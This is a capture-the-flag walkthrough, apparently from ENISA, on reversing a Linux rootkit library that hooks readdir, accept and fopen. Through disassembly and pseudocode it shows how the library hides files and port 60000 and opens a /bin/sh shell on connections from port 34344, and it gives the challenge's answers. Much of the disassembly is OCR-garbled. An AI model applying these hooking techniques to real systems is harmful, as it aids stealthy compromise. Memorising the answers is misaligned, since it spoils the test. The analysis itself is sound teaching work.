# ROOTKIT

AUTHOR: CYBEXER TECHNOLOGIES

### International Cyber Security Challenge



**SEPT 2021** 



### **1. DESCRIPTION**

A malicious dynamic link library is provided for investigation. Task is to identify its functionality.

## **2. CHALLENGE SPECIFICATIONS**

- Categroty: Reverse Engineering
- Difficulty: Medium
- Estimated time: 15-30 min

### **3. QUESTIONS AND ANSWERS**

#### 3.1 WHICH PORTS ARE HIDDEN FROM NETSTAT OUTPUT?

60000

#### **3.2 WHICH FILES ARE HIDDEN?**

The ones that contain phrase "bucketz" in their name

#### 3.3 IN WHAT CONDITIONS REVERSE SHELL IS LAUNCHED?

When a connection comes from port 34344

### **4. SETUP INSTRUCTIONS**

The task does not require any setup.



### **5. ARTIFACTS PROVIDED**

File	SHA-256
libc_lib.so.6	2f62cf44359ab8be2370ea694a38293393d3ecdf651114f1882b7fbe23734b73

### **6. TOOLS NEEDED**

• Debugger, Disassembler, e.g., gdb, IDA, Ghidra, etc.

### 7. WALKTHROUGH

Running **strings** on library to search for some suspicious/interesting names is a good start of reverse-engineering a binary file:

u/UH
readdir
bucketz
accept
[kworker/1:23H]
/bin/sh
EA60
fopen
/proc/net/tcp
fopen64
;*3\$"
GCC: (Debian 9 3 0-15) 9 3

The output can already aid reversing and give out clues on what to look for. "**bucketz**" in a library doesn't seem a standard word. */bin/sh* is definitely suspicious.

In case of a shared library, one of the first things to do, is always to find out, what functions it is exporting. That gives a direct hint about the conditions when the library could come into action. This can be done using **nm**, **objdump**, or a debugger, e.g. **gdb**. In this description the latter is used.



info functions command in gdb will print out all function names that are part of the library:

0×0000000000001150 0×0000000000001180 0×00000000000011c0 0×000000000001200 0×000000000001205 0×0000000000001275 0×0000000000001361	<pre>deregister_tm_clones register_tm_clonesdo_global_dtors_aux frame_dummy readdir accept falsify_tcp foren</pre>
	feadulf accept falsify_tcp fopen fopen64 finit
(gdb)	

Some standard function names are seen, like **readdir**, **accept**, and **fopen64**, which is suspicious – a library shouldn't contain functions with well-known names. **falsify\_tcp** suggests, that this could be malicious as well. Since there are only a few names, going over them one by one isn't too hard.

Let's pick readdir first:

(gdb) disass readdir								
Dump of assembler code for function readdir:								
0×00007ffff7fc6205	<+0>:	push	%rbp					
0×00007ffff7fc6206	<+1>:	mov	%rsp,%rbp					
0×00007ffff7fc6209	<+4>:	sub	\$0×20,%rsp					
0×00007ffff7fc620d	<+8>:	mov	%rdi,-0×18(%rbp)					
0×00007ffff7fc6211	<+12>:	lea	0×de8(%rip),%rsi # 0×7ffff7fc7000					
0×00007ffff7fc6218	<+19>:	mov	\$0×fffffffffffffffffff,%rdi					
0×00007ffff7fc621f	<+26>:	callq	0×7ffff7fc6110 <dlsym@plt></dlsym@plt>					
0×00007ffff7fc6224	<+31>:	mov	%rax,%rdx					
0×00007ffff7fc6227	<+34>:	mov	0×2dba(%rip),%rax # 0×7ffff7fc8fe8					
0×00007ffff7fc622e	<+41>:	mov	%rdx,(%rax)					
0×00007ffff7fc6231	<+44>:	jmp	0×7ffff7fc624f <readdir+74></readdir+74>					
0×00007ffff7fc6233	<+46>:	mov	-0×8(%rbp),%rax					
0×00007ffff7fc6237	<+50>:	add	\$0×13,%rax					
0×00007ffff7fc623b	<+54>:	lea	0×dc6(%rip),%rsi					
0×00007ffff7fc6242	<+61>:	mov	%rax %rdi					
0.0000711117160242	110121							
0×00007ffff7fc6245	<+64>:	callq	0×7ffff7fc6130 <strstr@plt></strstr@plt>					
0×00007ffff7fc6245 0×00007ffff7fc624a	<+64>: <+69>:	callq test	% <mark>x7fff7fc6130</mark> < <mark>strstr@plt</mark> > %rax,%rax					
0×00007ffff7fc6245 0×00007ffff7fc624a 0×00007ffff7fc624a	<+64>: <+69>: <+72>:	callq test je	% <mark>x7ffff7fc6180 <strstr@plt></strstr@plt></mark> %rax,%rax 0×7ffff7fc626f <readdir+<b>106&gt;</readdir+<b>					
0×00007ffff7fc6245 0×00007ffff7fc624a 0×00007ffff7fc624a 0×00007ffff7fc624d 0×00007ffff7fc624f	<+64>: <+69>: <+72>: <+74>:	callq test je mov	%rax,%rax         %rax,%rax           0×7fff7fc626f <readdir+106>           0×2092(%rip),%rax         # 0×7ffff7fc8fe8</readdir+106>					
0×00007ffff7fc6245 0×00007ffff7fc6244 0×00007ffff7fc624d 0×00007ffff7fc624f 0×00007ffff7fc6256	<+64>: <+69>: <+72>: <+74>: <+81>:	callq test je mov mov	0x7fff7fc6180 < <mark>strstr@plt&gt;</mark> %rax,%rax 0x7fff7fc626f <readdir+106> 0x2d92(%rip),%rax # 0x7ffff7fc8fe8 (%rax),%rdx</readdir+106>					
0x00007fff7fc6245 0x00007fff7fc624a 0x00007ffff7fc624a 0x00007ffff7fc624f 0x00007fff7fc624f 0x00007fff7fc6259	<+64>: <+69>: <+72>: <+74>: <+81>: <+84>:	callq test je mov mov mov	<pre>% ************************************</pre>					
0×00007fff7fc6245 0×00007fff7fc624a 0×00007fff7fc624d 0×00007fff7fc624f 0×00007fff7fc6256 0×00007fff7fc6259 0×00007fff7fc625d	<+64>: <+69>: <+72>: <+74>: <+81>: <+84>: <+88>:	callq test je mov mov mov mov	<pre>Dx7fff7fc6180 <strstr@plt> %rax,%rax 0*7fff7fc626f <readdir+106> 0*2092(%rip),%rax # 0*7fff7fc8fe8 (%rax),%rdx -0*18(%rbp),%rax %rax,%rdi</readdir+106></strstr@plt></pre>					
0x00007fff7fc6245 0x00007fff7fc624a 0x00007fff7fc624d 0x00007fff7fc624d 0x00007fff7fc624f 0x00007fff7fc6256 0x00007fff7fc6250 0x00007fff7fc6250	<+64>: <+69>: <+72>: <+74>: <+81>: <+84>: <+88>: <+91>:	callq test je mov mov mov callq	0x7fff7f6180 < <mark>strstr@plt&gt;</mark> %rax,%rax 0x7fff7fc626f <readdir+106> 0x2092(%rip),%rax</readdir+106>					
0x00007fff7fc6245 0x00007fff7fc624a 0x00007fff7fc624a 0x00007fff7fc624f 0x00007fff7fc624f 0x00007fff7fc6256 0x00007fff7fc6250 0x00007fff7fc6260 0x00007fff7fc6262	<+64>: <+69>: <+72>: <+74>: <+81>: <+84>: <+88>: <+91>: <+93>:	callq test je mov mov mov callq mov	<pre>%rax,%rax %rax,%rax 0*7fff7fc6126f <readdir+106> 0*2d92(%rip),%rax</readdir+106></pre>					
0×00007fff7fc624s 0×00007fff7fc624a 0×00007fff7fc624d 0×00007fff7fc624f 0×00007fff7fc6259 0×00007fff7fc6259 0×00007fff7fc6250 0×00007fff7fc6262 0×00007fff7fc6262	<pre>&lt;+64&gt;: &lt;+69&gt;: &lt;+72&gt;: &lt;+74&gt;: &lt;+81&gt;: &lt;+84&gt;: &lt;+88&gt;: &lt;+91&gt;: &lt;+91&gt;: &lt;+97&gt;: </pre>	callq test je mov mov mov callq mov cmpq	0x7fff7fc0180 <strstr@plt>         %rax,%rax       0x7fff7fc026f <readdir+106>         0x2092(%rip),%rax       # 0x7ffff7fc8fe8         (%rax),%rdx       -0x18(%rbp),%rax         %rax,%rdi       *%rdx         %rax,-0x8(%rbp)       §0x0,-0x8(%rbp)</readdir+106></strstr@plt>					
0×00007fff7fc624s 0×00007fff7fc624a 0×00007fff7fc624d 0×00007fff7fc624d 0×00007fff7fc624d 0×00007fff7fc625d 0×00007fff7fc625d 0×00007fff7fc6260 0×00007fff7fc6266 0×00007fff7fc626b	<pre>&lt;+64&gt;: &lt;+69&gt;: &lt;+72&gt;: &lt;+74&gt;: &lt;+74&gt;: &lt;+81&gt;: &lt;+84&gt;: &lt;+88&gt;: &lt;+91&gt;: &lt;+93&gt;: &lt;+97&gt;: &lt;+102&gt;:</pre>	callq test je mov mov mov callq mov callq jne	<pre>%xx, %rax %rax, %rax 0*2ffff7fc626f <readdir+106> 0*2d92(%rip), %rax</readdir+106></pre>					
0x00007fff7fc6245 0x00007fff7fc6244 0x00007fff7fc624d 0x00007fff7fc624d 0x00007fff7fc6256 0x00007fff7fc6259 0x00007fff7fc6250 0x00007fff7fc6260 0x00007fff7fc6260 0x00007fff7fc6260 0x00007fff7fc6260	<pre>&lt;+64&gt;: &lt;+69&gt;: &lt;+69&gt;: &lt;+72&gt;: &lt;+74&gt;: &lt;+81&gt;: &lt;+84&gt;: &lt;+88&gt;: &lt;+91&gt;: &lt;+93&gt;: &lt;+93&gt;: &lt;+97&gt;: &lt;+1022: &lt;+104&gt;: </pre>	callq test je mov mov mov callq mov callq jne jmp	<pre>%xx,Wrdx %rax,%rax 0*7fff7fc626f <readdir+106> 0*2d92(%rip),%rax</readdir+106></pre>					
0×00007fff7fc624s 0×00007fff7fc624a 0×00007fff7fc624d 0×00007fff7fc624f 0×00007fff7fc6256 0×00007fff7fc6256 0×00007fff7fc6250 0×00007fff7fc6266 0×00007fff7fc6266 0×00007fff7fc6266 0×00007fff7fc6266	<pre>&lt;+64&gt;: &lt;+69&gt;: &lt;+72&gt;: &lt;+74&gt;: &lt;+74&gt;: &lt;+81&gt;: &lt;+84&gt;: &lt;+84&gt;: &lt;+91&gt;: &lt;+93&gt;: &lt;+97&gt;: &lt;+102&gt;: &lt;+104&gt;: &lt;+106&gt;: </pre>	callq test je mov mov mov callq mov callq ine jne jmp nop	0x7fff7fc6180 <strstr@plt>         %rax,%rax       0x7fff7fc626f         0x2092(%rip),%rax       # 0x7fff7fc8fe8         (%rax),%rdx       -0x18(%rbp),%rax         %rax,%rdi       *%rdx         %rax,-0x8(%rbp)       \$0x0,-0x8(%rbp)         \$0x7fff7fc6233       <readdir+46>         0x7ffff7fc6270       <readdir+107></readdir+107></readdir+46></strstr@plt>					
0×00007fff7fc6245 0×00007fff7fc6244 0×00007fff7fc624d 0×00007fff7fc624d 0×00007fff7fc624f 0×00007fff7fc6259 0×00007fff7fc6260 0×00007fff7fc6266 0×00007fff7fc6266 0×00007fff7fc6266 0×00007fff7fc6266 0×00007fff7fc6267 0×00007fff7fc6270	<pre>&lt;+64&gt;: &lt;+64&gt;: &lt;+69&gt;: &lt;+72&gt;: &lt;+74&gt;: &lt;+81&gt;: &lt;+84&gt;: &lt;+84&gt;: &lt;+88&gt;: &lt;+91&gt;: &lt;+93&gt;: &lt;+97&gt;: &lt;+102&gt;: &lt;+104&gt;: &lt;+106&gt;: &lt;+107&gt;: </pre>	callq test je mov mov callq mov cmpq jne jmp nop mov	0x7fff7fc6180 <strstr@plt>         %rax,%rax       0x7fff7fc626f <readdir+106>         0x2d92(%rip),%rax       # 0x7fff7fc8fe8         (%rax),%rdx       # 0x7fff7fc8fe8         (%rax,),%rdx       # 0x7fff7fc6233         \$0x0,-0x8(%rbp)       \$0x0,-0x8(%rbp)         \$0x7ffff7fc6233 <readdir+46>         0x7ffff7fc6270 <readdir+107>         -0x8(%rbp),%rax</readdir+107></readdir+46></readdir+106></strstr@plt>					
0x00007fff7fc6245 0x00007fff7fc6244 0x00007fff7fc624d 0x00007fff7fc624d 0x00007fff7fc6256 0x00007fff7fc6250 0x00007fff7fc6250 0x00007fff7fc6260 0x00007fff7fc6266 0x00007fff7fc6260 0x00007fff7fc6270 0x00007fff7fc6270	<pre>&lt;+64&gt;: &lt;+64&gt;: &lt;+69&gt;: &lt;+72&gt;: &lt;+74&gt;: &lt;+81&gt;: &lt;+84&gt;: &lt;+88&gt;: &lt;+91&gt;: &lt;+93&gt;: &lt;+93&gt;: &lt;+97: &lt;+1022: &lt;+104&gt;: &lt;+106&gt;: &lt;+107&gt;: &lt;+111&gt;: </pre>	callq test je mov mov mov callq mov callq jne jmp nop mov leaveq	<pre>&gt;</pre>					
0×00007fff7fc624s 0×00007fff7fc624s 0×00007fff7fc624d 0×00007fff7fc624f 0×00007fff7fc6259 0×00007fff7fc6259 0×00007fff7fc6250 0×00007fff7fc6266 0×00007fff7fc6266 0×00007fff7fc626f 0×00007fff7fc626f 0×00007fff7fc626f 0×00007fff7fc6274 0×00007fff7fc6274	<pre>&lt;+64&gt;: &lt;+64&gt;: &lt;+69&gt;: &lt;+72&gt;: &lt;+74&gt;: &lt;+81&gt;: &lt;+84&gt;: &lt;+84&gt;: &lt;+91&gt;: &lt;+93&gt;: &lt;+97&gt;: &lt;+104&gt;: &lt;+106&gt;: &lt;+106&gt;: &lt;+111&gt;: &lt;+112&gt;: </pre>	callq test je mov mov cov callq mov callq mov cmpq jne jmp nop mov leaveq retq	<pre>Dx7fff7fc6180 <strstr@plt> %rax,%rax 0*202(%rip),%rax # 0*202(%rip),%rax # 0*202(%rip),%rax %rax),%rdx -0*18(%rbp),%rax %rax,%rdi *%rdx %rax,-0*8(%rbp) \$0*0,-0*8(%rbp) \$0*0,-0*8(%rbp) \$0*27fff7fc6233 <readdir+46> 0*27fff7fc6270 <readdir+107> -0*8(%rbp),%rax</readdir+107></readdir+46></strstr@plt></pre>					

The selected line on the above screenshot is the key – call to **strstr**, function. On lines <+46>...<+61> pointer to a local variable in stack is loaded to register **rdi**, that will be first argument to *strstr*, and a fixed string into **rsi**, that will be second argument. Since *gdb* calculates the address of the fixed thing for us, it is easy to dump a couple of bytes from there as follows:

#### x/32c 7fffff7fc7008

008:	98	'b'	117	'u'	99	'c'	107	'k'	101	'e'	116	't'	122	'z'	0 '	\000'			
010:	103	'g'	101	'e'	116	't'	112	'p'	119	'w'	117	'u'	105	'i'	100	'd'			
018:	0 '	\000			114	'r'	111	'o'	111	'o'	116	't'	0 '	\000			97 'a'	99	'c'
020:	99	'c'	101	'e'	112	'p'	116	't'	0 '\	000			91	'['	107	'k'	119 'w'		



At line <+93> the result of original *readdir* is stored in the local variable, that *%rdi* points to. Thus – the result of readdir is compared against a fixed string, **bucketz**. If there is a match, jump at line <+72> is not taken and another call to original *readdir* is made. To recap as a pseudocode:

```
Address = dlsym("readdir")
Repeat
Result = Call (Address, arguments)
If Result != 0 and strstr(result, "bucketz") == 0 then exit loop
Loop end
```

This code ignores all directory entries, that contain "bucketz" in their names:

root@win:/e	eto	:/.ldp	o/test	# ls	-lat				
drwxr-xr-x		root	root	4096	Nov		05:51		
drwxr-xr-x		root	root	4096	Nov		05:50		
root@win:/e	eto	:/.ldp	o/test	# mkc	lir ra	anc	lomDire	ectory	
root@win:/e	eto	:/.ldp	o/test	:# ls	-lat				
drwxr_xr_x		root	root	4096	Nov		05:52		
drwxr-xr-x	2	root	root	4096	Nov		05:52	randomDirectory	
drwxr-xr-x	5	root	root	4096	Nov	3	05:50		
root@win:/e	eto	:/.ldp	/test	# mkc	lir bu	IC	ketz		
root@win:/e	eto	:/.ldp	o/test	# ls	-lat				
total 12						-			
drwxr-xr-x	4	root	root	4096	Nov	3	05:52	•	
drwxr-xr-x	2	root	root	4096	Nov	3	05:52	randomDirectory	
drwxr-xr-x	5	root	root	4096	Nov	3	05:50		
root@win:/e	eto	:/.ldp	o/test	:#					

In a similar manner we can inspect other functions and try to reverse instructions to see what is really happening. Let's pick **accept**:

Dump of assembler code for fu	nction ac	cept:	
0×000000000001276 <+0>:	push	%rbp	
0×000000000001277 <+1>:	mov	%rsp,%rbp	
0×00000000000127a <+4>:	push	%rbx	
0×00000000000127b <+5>:	sub	\$0×98,%rsp	
0×000000000001282 <+12>:	mov	%edi,-0×84(%rbp)	
0×000000000001288 <+18>:	mov	%rsi,-0×90(%rbp)	
0×00000000000128f <+25>:	mov	%rdx,-0×98(%rbp)	
0×000000000001296 <+32>:	lea	0×d73(%rip),%rsi	# 0×2010
0×00000000000129d <+39>:	mov	\$0×fffffffffffffffff,%rdi	
0×0000000000012a4 <+46>:	callq	0×1110 <dlsym@plt></dlsym@plt>	
0×0000000000012a9 <+51>:	mov	%rax,%rdx	
0×0000000000012ac <+54>:	mov	0×2d1d(%rip),%rax	# 0×3fd0
0×0000000000012b3 <+61>:	mov	%rdx,(%rax)	
0×0000000000012b6 <+64>:	mov	0×2d13(%rip),%rax	# 0×3fd0
0×0000000000012bd <+71>:	mov	(%rax),%r8	
0×0000000000012c0 <+74>:	mov	-0×98(%rbp),%rdx	
0×0000000000012c7 <+81>:	lea	-0×70(%rbp),%rcx	
0×0000000000012cb <+85>:	mov	-0×84(%rbp),%eax	
0×0000000000012d1 <+91>:	mov	%rcx,%rsi	
0×0000000000012d4 <+94>:	mov	%eax,%edi	
0×0000000000012d6 <+96>:	callq	*%r8	
0×0000000000012d9 <+99>:	mov	%eax,-0×14(%rbp)	
0×0000000000012dc <+102>:	movzwl	-0×6e(%rbp),%ebx	
0×0000000000012e0 <+106>:	mov	\$0×8628,%edi	
0×0000000000012e5 <+111>:	callq	0×1060 <htons@plt></htons@plt>	
0×00000000000012ea <+116>:	cmp	%ax,%bx	
0×0000000000012ed <+119>:	jne	0×1354 <accept+222></accept+222>	
0×0000000000012ef <+121>:	callq	0×1120 <fork@plt></fork@plt>	
0×0000000000012f4 <+126>:	test	%eax,%eax	
0×0000000000012f6 <+128>:	jne	0×1343 <accept+205></accept+205>	
0×0000000000012f8 <+130>:	mov	-0×14(%rbp),%eax	
0×0000000000012fb <+133>:	mov	\$0×1,%esi	_
Type <ret> for more, q to q</ret>	uit, c to	continue without paging-	-

The beginning seems similar to previous one. Original *accept* function is located using *dlsym*, and then called (at line <+96>). Result from original *accept*() is moved from register *eax* into a local variable. This is nothing suspicious. But on the next line a value from **rbp-0x6e** is moved into register *ebx*, then a constant **0x8628** is moved into register *edi* (the selected line), and then **htons** is called. According to Linux ABI, register *edi* is used to pass first parameter, thus the selected line is **htons(0x8628)**. This function does nothing more than convert the given value from host byte order to network byte order. The 0x8628 in decimal would be **34344**.



On line <+116> the result of *htons*() is compared to the value in register *ebx*, that was loaded couple of instructions earlier, and if there is a match, **fork()** is called – this spawns a new process! Something that *accept*() is not supposed to do. The obvious question is, what is in the local variable **rbp-0x6e**?

Closest address to it is at line <+81>: **rbp-0x70**, pointer to which is later moved to register **rsi** – second argument to original *accept*(). According to manual, this is address information that would be bound to the socket, of type **struct sockaddr** \*. Meaning, that the interesting place is 2 bytes after beginning of *struct sockaddr*. Some digging in manuals and */usr/include* directory reveal, that in case of IPv4, this will be the source port. To recap findings so far:

```
struct sockaddr a;
address = dlsym("accept")
call *address (arg1, &a, ...)
if a.s_port == htons(34344) then fork()
```

Further actions are almost predictable - /bin/sh is exec()-d in the child process.



That leaves one more question – what does the **fopen** and **fopen64** and **falsify\_tcp** do? The engineering process would be like the previous ones and is left out to keep the document shorter.

Jumping directly to results, it appears, that if the opened file happens to be **/proc/net/tcp**, then a temporary file is created where all of its content is copied, except for lines containing a string ":**EA60**", and a pointer to the temporary file is returned instead of the requested one.



The format of /proc/net/tcp suggests that a string starting with colon can match port part of "local\_address" or "rem\_address" and "EA60" is a hexadecimal number. A test with port number can be easily done with **nc** once again - **port 60000** is not visible in output of *netstat*.

root@win:/etc/.ldp# nc -vlnp 60000 listening on [any] 60000 ]			v
	Shell No. 1		
File Actions Edit View Help			
root@win:/etc/.ldp/source# netstat -alntp Active Internet connections (servers and e Proto Recv-Q Send-Q Local Address	stablished) Foreign Address	State	PID/Program name
tcp 0 0.0.0.0:22	0.0.0:*	LISTEN	25452/sshd: /usr/sb
tcp6 0 0 ::: 22	:::*	LISTEN	25452/sshd: /usr/sb
root@win:/etc/.ldp/source#			

Done.



ENISA European Union Agency for Cybersecurity

> Athens Office 1 Vasilissis Sofias Str. 151 24 Marousi, Attiki, Greece

Heraklion Office 95 Nikolaou Plastira 700 13 Vassilika Vouton, Heraklion, Greece





ISBN xxx-xx-xxxx-xxx-x doi:xx.xxxx/xxxxxx TP-xx-xx-EN-C